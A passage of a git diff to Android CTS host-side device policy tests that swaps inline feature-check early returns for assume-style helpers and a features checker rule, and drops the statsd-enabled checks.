     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            if (mProfileUserId != 0) {
-                removeUser(mProfileUserId);
-            }
-            // Remove the test app account: also done by uninstallPackage
-            getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
+        if (mProfileUserId != 0) {
+            removeUser(mProfileUserId);
         }
+        // Remove the test app account: also done by uninstallPackage
+        getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
+
         super.tearDown();
     }
     @FlakyTest(bugId = 141747631)
     @Test
     public void testManagedProfileProvisioning() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         provisionManagedProfile();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
@@ -69,10 +64,6 @@
     @FlakyTest(bugId = 127275983)
     @Test
     public void testEXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         provisionManagedProfile();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
@@ -82,10 +73,6 @@
     @FlakyTest(bugId = 141747631)
     @Test
     public void testVerifySuccessfulIntentWasReceived() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         provisionManagedProfile();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
@@ -95,10 +82,6 @@
     @FlakyTest(bugId = 141747631)
     @Test
     public void testAccountMigration() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         provisionManagedProfile();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
@@ -111,10 +94,6 @@
     @FlakyTest(bugId = 141747631)
     @Test
     public void testAccountCopy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         provisionManagedProfile_accountCopy();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
@@ -127,10 +106,6 @@
     @FlakyTest(bugId = 141747631)
     @Test
     public void testWebview() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         // We start an activity containing WebView in another process and run provisioning to
         // test that the process is not killed.
         startActivityAsUser(mParentUserId, MANAGED_PROFILE_PKG, ".WebViewActivity");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java
index 4f8d87f..67cf227 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java
@@ -24,9 +24,6 @@
 public class ManagedProfileRingtoneTest extends BaseManagedProfileTest {
     @Test
     public void testRingtoneSync() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         givePackageWriteSettingsPermission(mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
                 "testRingtoneSync", mProfileUserId);
@@ -35,9 +32,6 @@
     // Test if setting RINGTONE disables sync
     @Test
     public void testRingtoneSyncAutoDisableRingtone() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         givePackageWriteSettingsPermission(mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
                 "testRingtoneDisableSync", mProfileUserId);
@@ -46,9 +40,6 @@
     // Test if setting NOTIFICATION disables sync
     @Test
     public void testRingtoneSyncAutoDisableNotification() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         givePackageWriteSettingsPermission(mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
                 "testNotificationDisableSync", mProfileUserId);
@@ -57,9 +48,6 @@
     // Test if setting ALARM disables sync
     @Test
     public void testRingtoneSyncAutoDisableAlarm() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         givePackageWriteSettingsPermission(mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
                 "testAlarmDisableSync", mProfileUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index acc060c..c6d318a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -16,7 +16,6 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -29,6 +28,7 @@
 import android.stats.devicepolicy.EventId;
 
 import com.android.compatibility.common.util.LocationModeSetter;
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.DoesNotRequireFeature;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.ddmlib.Log.LogLevel;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -46,11 +46,6 @@
  */
 public class ManagedProfileTest extends BaseManagedProfileTest {
 
-    private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
-    private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
-    private static final String FEATURE_CAMERA = "android.hardware.camera";
-    private static final String FEATURE_WIFI = "android.hardware.wifi";
-    private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
     private static final String DEVICE_OWNER_PKG = "com.android.cts.deviceowner";
     private static final String DEVICE_OWNER_APK = "CtsDeviceOwnerApp.apk";
     private static final String DEVICE_OWNER_ADMIN =
@@ -58,14 +53,12 @@
 
     @Test
     public void testManagedProfileSetup() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".ManagedProfileSetupTest",
                 mProfileUserId);
     }
 
+    @DoesNotRequireFeature
     @Test
     public void testMaxOneManagedProfile() throws Exception {
         int newUserId = -1;
@@ -75,9 +68,9 @@
         }
         if (newUserId > 0) {
             removeUser(newUserId);
-            if (mHasFeature) {
+            if (mFeaturesCheckerRule.hasRequiredFeatures()) {
                 // Exception is Android TV which can create multiple managed profiles
-                if (!hasDeviceFeature("android.software.leanback")) {
+                if (!isTv()) {
                     fail("Device must allow creating only one managed profile");
                 }
             } else {
@@ -91,9 +84,7 @@
      */
     @Test
     public void testProfileWifiCleanup() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature(FEATURE_WIFI)) {
-            return;
-        }
+        assumeHasWifiFeature();
 
         try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
             locationModeSetter.setLocationEnabled(true);
@@ -115,9 +106,6 @@
     @LargeTest
     @Test
     public void testAppLinks_verificationStatus() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Disable all pre-existing browsers in the managed profile so they don't interfere with
         // intents resolution.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
@@ -153,9 +141,6 @@
     @LargeTest
     @Test
     public void testAppLinks_enabledStatus() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Disable all pre-existing browsers in the managed profile so they don't interfere with
         // intents resolution.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
@@ -207,10 +192,6 @@
 
     @Test
     public void testSettingsIntents() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SettingsIntentsTest",
                 mProfileUserId);
     }
@@ -218,9 +199,6 @@
     /** Tests for the API helper class. */
     @Test
     public void testCurrentApiHelper() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CurrentApiHelperTest",
                 mProfileUserId);
     }
@@ -228,18 +206,12 @@
     /** Test: unsupported public APIs are disabled on a parent profile. */
     @Test
     public void testParentProfileApiDisabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ParentProfileTest",
                 "testParentProfileApiDisabled", mProfileUserId);
     }
 
     @Test
     public void testCannotCallMethodsOnParentProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ParentProfileTest",
                 "testCannotWipeParentProfile", mProfileUserId);
 
@@ -256,9 +228,6 @@
     // of tests (same applies to ComponentDisablingActivity).
     @Test
     public void testNoDebuggingFeaturesRestriction() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // If adb is running as root, then the adb uid is 0 instead of SHELL_UID,
         // so the DISALLOW_DEBUGGING_FEATURES restriction does not work and this test
         // fails.
@@ -285,10 +254,7 @@
     // Test the bluetooth API from a managed profile.
     @Test
     public void testBluetooth() throws Exception {
-        boolean hasBluetooth = hasDeviceFeature(FEATURE_BLUETOOTH);
-        if (!mHasFeature || !hasBluetooth) {
-            return;
-        }
+        assumeHasBluetoothFeature();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothTest",
                 "testEnableDisable", mProfileUserId);
@@ -302,10 +268,8 @@
 
     @Test
     public void testCameraPolicy() throws Exception {
-        boolean hasCamera = hasDeviceFeature(FEATURE_CAMERA);
-        if (!mHasFeature || !hasCamera) {
-            return;
-        }
+        assumeHasCameraFeature();
+
         try {
             runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
                     "testDisableCameraInManagedProfile",
@@ -322,40 +286,29 @@
 
     @Test
     public void testOrganizationInfo() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
                 "testDefaultOrganizationColor", mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
                 "testDefaultOrganizationNameIsNull", mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
                 mProfileUserId);
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                runDeviceTestsAsUser(
-                        MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".OrganizationInfoTest",
-                        "testSetOrganizationColor", mProfileUserId);
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_ORGANIZATION_COLOR_VALUE)
-                    .setAdminPackageName(MANAGED_PROFILE_PKG)
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            runDeviceTestsAsUser(
+                    MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".OrganizationInfoTest",
+                    "testSetOrganizationColor", mProfileUserId);
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_ORGANIZATION_COLOR_VALUE)
+                .setAdminPackageName(MANAGED_PROFILE_PKG)
+                .build());
     }
 
     @Test
     public void testDevicePolicyManagerParentSupport() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG, ".DevicePolicyManagerParentSupportTest", mProfileUserId);
     }
 
     @Test
     public void testBluetoothContactSharingDisabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
                     "testSetBluetoothContactSharingDisabled_setterAndGetter", mProfileUserId);
@@ -373,9 +326,6 @@
 
     @Test
     public void testCannotSetProfileOwnerAgain() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // verify that we can't set the same admin receiver as profile owner again
         assertFalse(setProfileOwner(
                 MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mProfileUserId,
@@ -390,10 +340,6 @@
     @LargeTest
     @Test
     public void testCannotSetDeviceOwnerWhenProfilePresent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             installAppAsUser(DEVICE_OWNER_APK, mParentUserId);
             assertFalse(setDeviceOwner(DEVICE_OWNER_PKG + "/" + DEVICE_OWNER_ADMIN, mParentUserId,
@@ -407,9 +353,7 @@
 
     @Test
     public void testNfcRestriction() throws Exception {
-        if (!mHasFeature || !mHasNfcFeature) {
-            return;
-        }
+        assumeHasNfcFeatures();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NfcTest",
                 "testNfcShareEnabled", mProfileUserId);
@@ -427,27 +371,19 @@
 
     @Test
     public void testIsProvisioningAllowed() throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
-        // In Managed profile user when managed profile is provisioned
+        // Not allowed to add a managed profile from another managed profile.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PreManagedProfileTest",
                 "testIsProvisioningAllowedFalse", mProfileUserId);
 
-        // In parent user when managed profile is provisioned
-        // It's allowed to provision again by removing the previous profile
+        // Not allowed to add a managed profile to the parent user if one already exists.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PreManagedProfileTest",
-                "testIsProvisioningAllowedTrue", mParentUserId);
+                "testIsProvisioningAllowedFalse", mParentUserId);
     }
 
     @Test
     public void testPhoneAccountVisibility() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        if (!shouldRunTelecomTest()) {
-            return;
-        }
+        assumeHasTelephonyAndConnectionServiceFeatures();
+
         try {
             // Register phone account in parent user.
             runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
@@ -484,12 +420,8 @@
     @LargeTest
     @Test
     public void testManagedCall() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        if (!shouldRunTelecomTest()) {
-            return;
-        }
+        assumeHasTelephonyAndConnectionServiceFeatures();
+
         getDevice().executeShellCommand("telecom set-default-dialer " + MANAGED_PROFILE_PKG);
 
         // Place a outgoing call through work phone account using TelecomManager and verify the
@@ -535,9 +467,8 @@
 
     @Test
     public void testTrustAgentInfo() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // Set and get trust agent config using child dpm instance.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".TrustAgentInfoTest",
                 "testSetAndGetTrustAgentConfiguration_child",
@@ -566,9 +497,6 @@
     @FlakyTest
     @Ignore
     public void testBasicCheck() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Install SimpleApp in work profile only and check activity in it can be launched.
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BasicTest", mProfileUserId);
@@ -576,10 +504,7 @@
 
     @Test
     public void testBluetoothSharingRestriction() throws Exception {
-        final boolean hasBluetooth = hasDeviceFeature(FEATURE_BLUETOOTH);
-        if (!mHasFeature || !hasBluetooth) {
-            return;
-        }
+        assumeHasBluetoothFeature();
 
         // Primary profile should be able to use bluetooth sharing.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothSharingRestrictionPrimaryProfileTest",
@@ -590,25 +515,15 @@
                 "testOppDisabledWhenRestrictionSet", mProfileUserId);
     }
 
-    //TODO(b/130844684): Re-enable once profile owner on personal device can no longer access
-    //identifiers.
-    @Ignore
     @Test
     public void testProfileOwnerOnPersonalDeviceCannotGetDeviceIdentifiers() throws Exception {
         // The Profile Owner should have access to all device identifiers.
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DeviceIdentifiersTest",
                 "testProfileOwnerOnPersonalDeviceCannotGetDeviceIdentifiers", mProfileUserId);
     }
 
     @Test
     public void testSetProfileNameLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             runDeviceTestsAsUser(
                     MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".DevicePolicyLoggingTest",
@@ -620,10 +535,6 @@
 
     @Test
     public void userManagerIsManagedProfileReturnsCorrectValues() throws Exception {
-        if (!mHasFeature) {
-            return ;
-        }
-
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".UserManagerTest",
                 "testIsManagedProfileReturnsTrue", mProfileUserId);
 
@@ -634,9 +545,6 @@
     @Test
     public void testCanGetWorkShortcutIconDrawableFromPersonalProfile()
             throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".LauncherAppsTest",
                 "addDynamicShortcuts", mProfileUserId);
         try {
@@ -654,9 +562,6 @@
     @Test
     public void testCanGetPersonalShortcutIconDrawableFromWorkProfile()
             throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".LauncherAppsTest",
                 "addDynamicShortcuts", mPrimaryUserId);
         try {
@@ -676,10 +581,6 @@
 
     @Test
     public void testCanGetProfiles() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         // getAllProfiles should contain both the primary and profile
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".UserManagerTest",
                 "testGetAllProfiles", mPrimaryUserId);
@@ -696,10 +597,6 @@
 
     @Test
     public void testCanCreateProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         // remove pre-created profile
         removeUser(mProfileUserId);
 
@@ -711,9 +608,6 @@
     @Test
     public void testResolverActivityLaunchedFromPersonalProfileWithSelectedWorkTab()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SHARING_APP_1_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_2_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_1_APK, mProfileUserId);
@@ -734,9 +628,6 @@
     @Test
     public void testResolverActivityLaunchedFromWorkProfileWithSelectedPersonalTab()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SHARING_APP_1_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_2_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_1_APK, mProfileUserId);
@@ -757,9 +648,6 @@
     @Test
     public void testChooserActivityLaunchedFromPersonalProfileWithSelectedWorkTab()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SHARING_APP_1_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_2_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_1_APK, mProfileUserId);
@@ -780,9 +668,6 @@
     @Test
     public void testChooserActivityLaunchedFromWorkProfileWithSelectedPersonalTab()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SHARING_APP_1_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_2_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_1_APK, mProfileUserId);
@@ -843,8 +728,4 @@
         runDeviceTestsAsUser(INTENT_SENDER_PKG, ".AppLinkTest", methodName,
                 mProfileUserId);
     }
-
-    private boolean shouldRunTelecomTest() throws DeviceNotAvailableException {
-        return hasDeviceFeature(FEATURE_TELEPHONY) && hasDeviceFeature(FEATURE_CONNECTION_SERVICE);
-    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java
index dfbfef1..f15b6a8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java
@@ -33,9 +33,8 @@
     @FlakyTest
     @Test
     public void testWorkProfileTimeoutBackground() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         setUpWorkProfileTimeout();
 
         startTestActivity(mPrimaryUserId, true);
@@ -48,9 +47,8 @@
     @LargeTest
     @Test
     public void testWorkProfileTimeoutIdleActivity() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         setUpWorkProfileTimeout();
 
         startTestActivity(mProfileUserId, false);
@@ -63,9 +61,8 @@
     @FlakyTest
     @Test
     public void testWorkProfileTimeoutUserActivity() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         setUpWorkProfileTimeout();
 
         startTestActivity(mProfileUserId, false);
@@ -78,9 +75,8 @@
     @FlakyTest
     @Test
     public void testWorkProfileTimeoutKeepScreenOnWindow() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         setUpWorkProfileTimeout();
 
         startTestActivity(mProfileUserId, true);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java
index 60367d0..fe259ac 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java
@@ -17,7 +17,6 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static org.junit.Assert.assertTrue;
 
@@ -54,9 +53,6 @@
     @FlakyTest
     @Test
     public void testWipeDataWithReason() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertTrue(listUsers().contains(mProfileUserId));
 
         // testWipeDataWithReason() removes the managed profile,
@@ -79,9 +75,6 @@
     @FlakyTest
     @Test
     public void testWipeDataLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertTrue(listUsers().contains(mProfileUserId));
 
         // Both the profile wipe and notification verification are done on the device side test
@@ -104,9 +97,6 @@
     @FlakyTest
     @Test
     public void testWipeDataWithoutReason() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertTrue(listUsers().contains(mProfileUserId));
 
         // testWipeDataWithoutReason() removes the managed profile,
@@ -132,9 +122,6 @@
      */
     @Test
     public void testWipeData() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertTrue(listUsers().contains(mProfileUserId));
 
         runDeviceTestsAsUser(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 2280348..52985cb 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -17,7 +17,6 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -32,11 +31,6 @@
 import org.junit.Ignore;
 import org.junit.Test;
 
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashMap;
@@ -50,6 +44,7 @@
 public class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest {
 
     private static final String DELEGATION_NETWORK_LOGGING = "delegation-network-logging";
+    private static final String LOG_TAG_DEVICE_OWNER = "device-owner";
 
     private static final String ARG_SECURITY_LOGGING_BATCH_NUMBER = "batchNumber";
     private static final int SECURITY_EVENTS_BATCH_SIZE = 100;
@@ -58,33 +53,28 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        if (mHasFeature) {
-            mUserId = mPrimaryUserId;
+        mUserId = mPrimaryUserId;
 
-            installAppAsUser(DEVICE_ADMIN_APK, mUserId);
-            if (!setDeviceOwner(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId, /*expectFailure*/
-                    false)) {
-                removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId);
-                getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-                fail("Failed to set device owner");
-            }
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        if (!setDeviceOwner(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId, /*expectFailure*/
+                false)) {
+            removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId);
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+            fail("Failed to set device owner");
         }
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove device owner",
+        assertTrue("Failed to remove device owner",
                     removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId));
-        }
+
         super.tearDown();
     }
 
     @Test
     public void testLockTask_unaffiliatedUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
 
         final int userId = createSecondaryUserAsProfileOwner();
         runDeviceTestsAsUser(
@@ -102,11 +92,11 @@
     }
 
     @FlakyTest(bugId = 127270520)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTask_affiliatedSecondaryUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         final int userId = createSecondaryUserAsProfileOwner();
         switchToUser(userId);
         setUserAsAffiliatedUserToPrimary(userId);
@@ -115,10 +105,6 @@
 
     @Test
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         setUpDelegatedCertInstallerAndRunTests(() ->
                 runDeviceTestsAsUser("com.android.cts.certinstaller",
                         ".DelegatedDeviceIdAttestationTest",
@@ -149,32 +135,23 @@
     @FlakyTest(bugId = 137088260)
     @Test
     public void testWifi() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
-            return;
-        }
+        assumeHasWifiFeature();
+
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".WifiTest", "testGetWifiMacAddress", mUserId);
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".WifiTest", "testGetWifiMacAddress");
-            }, new DevicePolicyEventWrapper.Builder(EventId.GET_WIFI_MAC_ADDRESS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".WifiTest", "testGetWifiMacAddress");
+        }, new DevicePolicyEventWrapper.Builder(EventId.GET_WIFI_MAC_ADDRESS_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .build());
     }
 
     @Test
     public void testAdminConfiguredNetworks() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".AdminConfiguredNetworksTest", mPrimaryUserId);
     }
 
     @Test
     public void testSetTime() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".TimeManagementTest", "testSetTime");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_TIME_VALUE)
@@ -186,9 +163,6 @@
 
     @Test
     public void testSetTimeZone() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".TimeManagementTest", "testSetTimeZone");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_TIME_ZONE_VALUE)
@@ -205,15 +179,18 @@
                         .setAdminPackageName(DELEGATE_APP_PKG)
                         .setBoolean(true)
                         .setInt(1)
+                        .setStrings(LOG_TAG_DEVICE_OWNER)
                         .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_NETWORK_LOGS_VALUE)
                         .setAdminPackageName(DELEGATE_APP_PKG)
                         .setBoolean(true)
+                        .setStrings(LOG_TAG_DEVICE_OWNER)
                         .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.SET_NETWORK_LOGGING_ENABLED_VALUE)
                         .setAdminPackageName(DELEGATE_APP_PKG)
                         .setBoolean(true)
                         .setInt(0)
+                        .setStrings(LOG_TAG_DEVICE_OWNER)
                         .build(),
         };
         result.put(".NetworkLoggingDelegateTest", expectedMetrics);
@@ -229,27 +206,18 @@
 
     @Test
     public void testLockScreenInfo() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockScreenInfoTest", mUserId);
 
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".LockScreenInfoTest", "testSetAndGetLockInfo");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_DEVICE_OWNER_LOCK_SCREEN_INFO_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".LockScreenInfoTest", "testSetAndGetLockInfo");
